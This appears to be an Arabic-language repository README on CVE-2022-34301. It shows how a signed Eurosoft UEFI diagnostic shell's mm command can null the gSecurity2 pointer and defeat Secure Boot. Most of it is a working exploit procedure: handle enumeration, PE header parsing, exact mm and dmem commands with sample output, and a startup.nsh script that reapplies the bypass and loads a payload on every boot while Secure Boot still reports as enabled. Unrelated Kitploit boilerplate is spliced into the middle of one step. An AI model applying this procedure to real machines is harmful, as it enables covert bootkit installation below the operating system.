themalwareguardian/cve-2022-34301يوضح تجاوز Secure Boot عبر CVE-2022-34301 من خلال UEFI Shell الموقّع من Eurosoft (esdiags.efi)، باستخدام الأمر mm لإبطال gSecurity2 وتحميل تطبيقات UEFI غير الموقّعة.
Eurosoft Pc-Check UEFI Diagnostics Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - تجاوز Secure Boot عبر UEFI Shell موقّع وفساد gSecurity2.
يوضح هذا المستودع تقنية BYOVUA (Bring Your Own Vulnerable UEFI Application) من خلال استغلال CVE-2022-34301، وهي ثغرة تجاوز Secure Boot في بيئة التشخيص Eurosoft Pc-Check UEFI.
في هذه الحالة، المكوّن الموثوق من قِبل Secure Boot هو esdiags.efi، وهو UEFI Shell يُوزَّع كجزء من منتج التشخيص العتادي Eurosoft Pc-Check UEFI، وموقّع بسلسلة شهادات موثوقة من قِبل Microsoft UEFI Third Party Certificate Authority. عند تنفيذه، يكشف هذا الـ Shell عن أمر mm (تعديل الذاكرة) وبالتالي يوفر قدرات قراءة وكتابة عشوائية للذاكرة خلال مرحلة الإقلاع قبل نظام التشغيل.
يمكن بعد ذلك استخدام هذه القدرة لتحديد موقع وإبطال المؤشر العام gSecurity2 في نواة DXE. ونتيجة لذلك، يتم تعطيل التحقق من صور UEFI اللاحقة، مما يسمح بتحميل تطبيقات UEFI غير الموقّعة، والـ bootkits، على الرغم من تمكين Secure Boot.
BYOVUA هو المكافئ في UEFI لتقنية BYOVD (Bring Your Own Vulnerable Driver) المستخدمة على مستوى النواة. فبدلاً من جلب برنامج تشغيل نواة موقّع يحتوي على ثغرة، يجلب المهاجم تطبيق UEFI موقّعاً - في هذه الحالة، UEFI Shell كامل - يحتوي على وظائف قادرة على تقويض Secure Boot.
ولأن التطبيق موقّع بسلسلة شهادات موثوقة من قِبل Secure Boot، فإنه يُقبل دون سؤال، مما يجعله موثوقاً على أي نظام يتضمن Microsoft UEFI Third Party Certificate Authority في قاعدة بيانات Secure Boot الخاصة به (db) - وهو ما ينطبق على كل حاسوب قادر على UEFI تقريباً تم شحنه خلال العقد الماضي. وبمجرد تشغيله، تمنح أوامره المدمجة المهاجم وصولاً مباشراً إلى العتاد والذاكرة يعمل قبل تحميل نظام التشغيل، في بيئة لا توجد فيها ضوابط الأمان الحديثة (ASLR، DEP، حمايات النواة) ببساطة.
esdiags.efi هو UEFI Shell يُوزَّع كجزء من Eurosoft Pc-Check UEFI، وهو منتج تشخيص عتادي قبل الإقلاع تستخدمه شركات تصنيع الحواسيب ومؤسسات الخدمة وفرق تقنية المعلومات لاختبار الأنظمة العارية.
| الخاصية | القيمة |
|---|
| الملف | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| المورّد | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| التوقيع | Microsoft Corporation UEFI CA 2011 (Third Party) |
| الاكتشاف | Eclypsium (Mickey Shkatov, Jesse Michael) - أغسطس 2022 |
| العرض التقديمي | DEF CON 30 - "One Bootloader to Load Them All" |
| الإبطال | أُضيف إلى DBX عبر Microsoft KB5012170 (أغسطس 2022) |
الثغرة ليست خطأً برمجياً - بل هي عيب في التصميم. فـ UEFI Shells هي أدوات تشخيصية مشروعة لم يُقصد بها أبداً العمل في بيئات Secure Boot. ومع ذلك، من خلال توقيعها بشهادة موثوقة من Microsoft وتوزيعها كجزء من منتجات تجارية، أنشأ المورّدون دون قصد تجاوزاً موقّعاً لـ Secure Boot.
المشكلة الجوهرية: ملف ثنائي موقّع موثوق من قِبل Secure Boot يوفر قدرات قراءة/كتابة غير مقيّدة للذاكرة عبر أوامره المدمجة. هذه التركيبة تكسر نموذج الثقة الكامل لـ Secure Boot.
أمر mm (تعديل الذاكرة) هو أمر مدمج قياسي في UEFI Shell يوفر وصولاً مباشراً للقراءة والكتابة إلى ذاكرة النظام. وهو موثّق في UEFI Shell Specification (القسم 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| المعامل | الوصف |
|-----------|-------------|
| `Address` | عنوان الذاكرة الهدف |
| `Value` | القيمة المراد كتابتها (تُحذف للقراءة فقط) |
| `-w` | العرض: 1 أو 2 أو 4 أو 8 بايت |
| `-MEM` | الوصول إلى ذاكرة النظام |
| `-MMIO` | الإدخال/الإخراج المعيّن للذاكرة |
| `-IO` | الوصول إلى منفذ الإدخال/الإخراج |
| `-n` | غير تفاعلي (بدون مطالبة بالعنوان التالي) |
---
<div id='gsecurity2'/>
### ***gSecurity2 وبروتوكول البنية الأمنية***
يُفرض التحقق من صورة Secure Boot في UEFI من خلال [بروتوكولات البنية الأمنية](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols)، المعرّفة في مواصفة UEFI Platform Initialization (PI).
يحتفظ نواة DXE (DxeMain) بمؤشر عام يُسمى [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252)، والذي يشير إلى بنية `EFI_SECURITY2_ARCH_PROTOCOL`. يحتوي هذا البروتوكول على مؤشر دالة واحد - `FileAuthenticationState` - والذي يُستدعى بواسطة `LoadImage()` في كل مرة يتم فيها تحميل صورة UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
عند استدعاء LoadImage()، يتحقق نواة DXE من:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
من خلال تعيين `gSecurity2 = NULL`، يفشل فحص `if` ولا يتم استدعاء `FileAuthenticationState` أبدًا. يتم تخطي التحقق من الصورة بالكامل - **يبقى Secure Boot "مُمكّنًا" لكنه لم يعد مفروضًا**. يمكن بعد ذلك تحميل تطبيقات UEFI غير الموقّعة بحرية.
لفهم تقني عميق لهذه التقنية، بما في ذلك تطبيق UEFI مُصمم خصيصًا يحدد ويُرقّع gSecurity2 تلقائيًا، راجع المشروع المرافق: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***التوازي مع Kernel BYOVD***
التوازي البنيوي بين UEFI BYOVUA و kernel BYOVD دقيق تمامًا:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
كلا الهجومين يستغلان نفس الخلل الجوهري: مكوّن موقّع تثق به آلية أمنية يوفّر البدائية اللازمة لتعطيل تلك الآلية ذاتها.
يُوضع الملف الموقّع esdiags.efi على قسم نظام EFI (ESP) ويُهيّأ كخيار إقلاع. ولأنه موقّع بسلسلة شهادات تثق بها Secure Boot، تتحقق منه البرمجيات الثابتة وتحمّله دون مشاكل.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
<div id='Phase2'/>
### ***المرحلة 2 - تعداد مقابض بروتوكول Security2***
من UEFI Shell، الهدف هو العثور على المقبض الذي يعرّض `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) والحصول على عنوان الذاكرة لواجهة البروتوكول الخاصة به.
> **ملاحظة:** الأمر `dh -p <GUID>` لا يحل GUIDs الخام في معظم إصدارات EDK2 Shell - فهو يتعرف فقط على أسماء البروتوكولات المسجلة. النهج أدناه يعمل على أي إصدار من EDK2 Shell.
**الخطوة 1 - العثور على مقبض SecurityStubDxe**
اسرد جميع المقابض وابحث عن `SecurityStubDxe`، وهو برنامج تشغيل DXE الذي يثبّت كلا بروتوكولي الأمان المعماريين:```
Shell> dh
في المخرجات، حدد المقبض المحمّل باسم SecurityStubDxe:```
10: Image(SecurityStubDxe)
**الخطوة 2 - فحص المقابض المجاورة**
يقوم `SecurityStubDxe` بتثبيت بروتوكولات الأمان على مقبض منفصل، عادةً المقبض الذي يليه مباشرةً. تظهر هذه المقابض فارغة في القائمة المختصرة لأن Shell لا يستطيع ربط معرّفات GUID الخاصة بها بأسماء مألوفة. افحصها باستخدام الوضع المطوّل:```
Shell> dh -v 11
المخرجات المتوقعة:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
إذا كان المقبض `0x11` لا يحتوي على هذه الـ GUIDs، جرّب `0x12` - رقم المقبض الدقيق يختلف بين إصدارات البرامج الثابتة.
**الخطوة 3 - تسجيل عنوان الواجهة**
البروتوكولان وعناوين الواجهة الخاصة بهما هما:
| GUID | البروتوكول | عنوان الواجهة |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**عنوان واجهة Security2** (`0x3EE8C3A0` في هذا المثال) هو القيمة المخزّنة بواسطة المؤشر العام `gSecurity2` داخل DxeMain. هذه القيمة مطلوبة للمرحلة 3.
---
<div id='Phase3'/>
### ***المرحلة 3 - تحديد موقع gSecurity2 في الذاكرة***
المتغير `gSecurity2` هو مؤشر عام داخل نواة DXE (`DxeMain`). قيمته تساوي عنوان واجهة البروتوكول الموجود في المرحلة 2. الهدف هو إيجاد عنوان الذاكرة حيث يُخزَّن هذا المؤشر - ليس قيمة المؤشر، بل المتغير نفسه.
**الخطوة 1 - الحصول على تخطيط صورة نواة DXE**```
Shell> dh -v 1
Kitploit هو دليل مخصص لأدوات الأمن السيبراني مفتوحة المصدر. يقدم مجموعة منسقة من أدوات الاختراق الأخلاقي، وتحليل الثغرات الأمنية، والاستجابة للحوادث، والاختبار الأمني، مما يسهل على المتخصصين اكتشاف الأدوات المناسبة لاحتياجاتهم.
قم بزيارة موقع Kitploit لتصفح الدليل. استخدم ميزة البحث أو تصفح الفئات للعثور على الأدوات التي تناسب احتياجاتك.
للمساهمة في Kitploit، يرجى اتباع الإرشادات الموجودة في المستودع. تأكد من أن الأدوات المقدمة مفتوحة المصدر وذات صلة بالأمن السيبراني.
Kitploit هو مشروع مفتوح المصدر. راجع المستودع للحصول على تفاصيل الترخيص.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
سجّل `ImageBase` (`0x3FE94000`).
**الخطوة 2 - تحليل ترويسات PE للعثور على قسم `.data`**
يحتوي قسم `.data` على المتغيرات العامة المهيّأة، بما في ذلك `gSecurity2`. بدلاً من فحص الصورة بأكملها بشكل أعمى، حلّل ترويسات PE للعثور على حدود `.data` الدقيقة.
اقرأ ترويسة MZ للحصول على إزاحة ترويسة PE (DWORD عند الإزاحة `0x3C`):```
Shell> dmem <ImageBase> 100
في المخرجات، انظر إلى الإزاحة 0x3C من ImageBase. على سبيل المثال، إذا كان ImageBase هو 0x3FE94000:```
3FE9403C: C0 00 00 00
هذا يعني أن توقيع PE يقع عند الإزاحة `0xC0` من `ImageBase`.
**الخطوة 3 - قراءة جدول الأقسام**
يُحسب إزاحة جدول الأقسام كما يلي:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
اقرأ ترويسة COFF للحصول على SizeOfOptionalHeader (WORD عند PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
بالنسبة لصورة UEFI من نوع PE32+ (x64)، عادةً ما يكون `SizeOfOptionalHeader` مساويًا لـ `0xF0`. في مثالنا:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
تفريغ جدول الأقسام (5 أقسام × 40 بايت = 200 بايت):``` Shell> dmem 3FE941C8 140
كل إدخال قسم هو 40 بايت:
| الإزاحة | الحجم | الحقل |
|--------|------|-------|
| 0 | 8 | الاسم (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
ابحث عن إدخال القسم `.data`. مثال على المخرجات:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
احسب الحدود المطلقة لـ .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**الخطوة 4 - ابحث في `.data` عن مؤشر الواجهة**
ابحث عن عنوان واجهة Security2 بترتيب البايتات little-endian ضمن نطاق `.data`. بالنسبة لعنوان واجهة `0x3EE8C3A0`، ابحث عن:```
A0 C3 E8 3E 00 00 00 00
افحص في كتل بحجم 0x200 بايت بدءًا من data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
استمر في نطاق `.data` حتى تجد تسلسل البايتات. يتم تخزين المؤشرين `gSecurity` (Security1) و `gSecurity2` (Security2) بشكل متتالٍ، لذا ابحث عن القيمتين متجاورتين:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
نصيحة: يحتوي قسم
.dataأيضًا على بنى جدول نظام EFI (IBI SYST،DXE_SERV،BOOTSERV،RUNTSERV). توجد مؤشرات الأمان عادةً بعد هذه البنى. إذا لاحظت هذه التوقيعات أثناء الفحص، فواصل التقدم - أنت تقترب.
الخطوة 5 - تأكيد العنوان
تحقق من خلال قراءة الموقع الدقيق:``` Shell> dmem 3FEB0C08 10
المخرجات المتوقعة:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
العنوان 0x3FEB0C08 هو المكان الذي يتم تخزين gSecurity2 فيه - هذا هو الهدف للمرحلة 4.
بمجرد معرفة عنوان المتغير gSecurity2، يقوم أمر mm واحد بتعطيل التحقق من Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **ملاحظة:** قد لا يقبل الأمر `mm` البادئة `0x` في وسيطة العنوان. استخدم العنوان السداسي عشري الخام مباشرة.
مثال:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
يكتب هذا 8 بايتات من الأصفار إلى المؤشر gSecurity2. سيتخطى نواة DXE الآن جميع فحوصات التحقق من الصور في LoadImage().
للتحقق من التصحيح:``` Shell> dmem <gSecurity2_address> 10
يجب أن تقرأ أول 8 بايتات `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
لاحظ أن gSecurity (Security1، الكلمة الرباعية الثانية) يبقى سليمًا - فقط Security2 يتم إبطاله، وهو ما يكفي لتجاوز التحقق من LoadImage().
مع إبطال gSecurity2، يمكن تحميل أي تطبيق UEFI بغض النظر عن حالة توقيعه:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
أو باستخدام `load` لبرامج التشغيل:```
Shell> load fs1:\MyUnsignedDriver.efi
نظام التشغيل لم يبدأ بعد. أي تطبيق UEFI يتم تحميله في هذه المرحلة يعمل بوصول كامل إلى العتاد، قبل تهيئة أي ضوابط أمنية على مستوى نظام التشغيل.
يقوم UEFI Shell تلقائيًا بتنفيذ startup.nsh من الدليل الحالي أو جذر ESP عند كل تشغيل. من خلال ترميز تصحيح mm في هذا السكربت، يتم تنفيذ تجاوز Secure Boot تلقائيًا عند كل إقلاع:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
مثال:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
يستمر النظام في الإبلاغ عن Secure Boot كـ "مُفعَّل" - فقط التنفيذ وقت التشغيل معطَّل. هذا يجعل الهجوم غير مرئي لاستعلامات حالة Secure Boot على مستوى نظام التشغيل.
مهم: عنوان
gSecurity2(0x3FEB0C08في هذا المثال) خاص ببناء البرنامج الثابت. إذا تم تحديث البرنامج الثابت أو إعادة تجميعه، يجب إعادة حساب العنوان بتكرار المرحلتين 2 و3.
العثور على عنوان gSecurity2 خاص بالبرنامج الثابت ويجب تكراره كلما تم تحديث البرنامج الثابت أو إعادة تجميعه. العملية عالية المستوى هي:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***الاستغلال***
يتم توفير نهجين:
**النهج أ - تعديل FileAuthenticationState:** يستبدل أول 4 بايتات من دالة التحقق بـ `xor rax, rax; ret` (`48 31 C0 C3`)، مما يجعلها تُرجع EFI_SUCCESS دون إجراء أي فحص. يستخدم هذا النهج أوامر `dh` و`dmem` و`mm` لحل مؤشر الدالة عبر واجهة بروتوكول Security2 ولا يتطلب البحث في ذاكرة DxeMain.
**النهج ب - إبطال مؤشر gSecurity2:** يحدد موقع المتغير العام gSecurity2 داخل قسم `.data` في DxeMain ويكتب NULL فيه. هذه هي التقنية التي وصفها Eclypsium في إفصاح BombShell وتم تنفيذها برمجيًا في مستودع [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). يتطلب هذا النهج تحليل ترويسات PE الخاصة بـ DxeMain للعثور على حدود قسم `.data`، ثم فحص الذاكرة يدويًا باستخدام `dmem` لتحديد موقع عنوان المؤشر.
تم تصميم كلا السكربتين ليتم اتباعهما خطوة بخطوة، مع شرح كل أمر. شغّلهما تفاعليًا أولاً، ثم بمجرد معرفة العناوين الصحيحة للبرنامج الثابت المستهدف، أنشئ ملف `startup.nsh` للتنفيذ الآلي عند كل إقلاع.
---
---
---
<div id='LabSetup'/>
## ***إعداد المختبر***
### DBX (قاعدة بيانات التوقيعات المحظورة)
تمت إضافة الصدفة الموقّعة إلى قائمة إبطال DBX الخاصة بـ Microsoft عبر KB5012170 (أغسطس 2022). على الأنظمة المحدّثة، سترفض Secure Boot الصدفة.
بالنسبة لبيئة المختبر، تحتاج إلى نظام حيث:
- لم يتم تحديث DBX بإدخال الإبطال الخاص بهذه الصدفة تحديدًا
- أو أن DBX فارغ (جهاز افتراضي جديد بمفاتيح Secure Boot الافتراضية)
- أو تستخدم بيئة QEMU/OVMF مع تسجيل مفاتيح Secure Boot مخصصة
يوفر [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) إعدادًا آليًا لهذا الغرض.
### بديل: أي صدفة UEFI موقّعة تحتوي على أمر mm
التقنية ليست خاصة بـ `esdiags.efi`. يمكن استخدام أي UEFI Shell يعرض أمر `mm` وموقّع بشهادة موثوقة (Microsoft CA أو خاصة بالمصنّع). كما هو موثّق في بحث Eclypsium [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) (أكتوبر 2025)، تم العثور على صدفات UEFI موقّعة ذات قدرات خطيرة في منتجات عدة مصنّعين، بما في ذلك حواسيب Framework المحمولة (مما يؤثر على حوالي 200,000 جهاز).
---
---
---
<div id='References'/>
## ***المراجع***
### ذات صلة مباشرة
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - مجموعة منسّقة من تطبيقات UEFI الموقّعة المعروفة بأنها قابلة للاستغلال
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - تحليل تقني معمّق لتقنية إفساد gSecurity2، بما في ذلك تطبيق UEFI مصمم خصيصًا يحدد المؤشر ويعدّله تلقائيًا
### أبحاث Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - بحث حول استخدام صدفات UEFI الموقّعة للتلاعب بالذاكرة باستخدام برمجة .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - بحث Eclypsium الأصلي الذي أفصح عن CVE-2022-34301 وCVE-2022-34302 وCVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - عرض Mickey Shkatov وJesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - بحث أكتوبر 2025 الذي يوضح هجوم gSecurity2 عبر أمر mm على حواسيب Framework المحمولة (200 ألف جهاز متأثر)
### مواصفات UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - توثيق لأمري mm وdh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - مرجع الكود المصدري لمؤشر gSecurity2 العام
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - التعريف الرسمي لبروتوكول Security2 Architectural Protocol
### التنبيهات
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)
### كتالوج محمّلات الإقلاع
- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - قواعد YARA، وكشوف Sigma، وبصمات العينات الخاصة بصدفة Eurosoft المُبطلة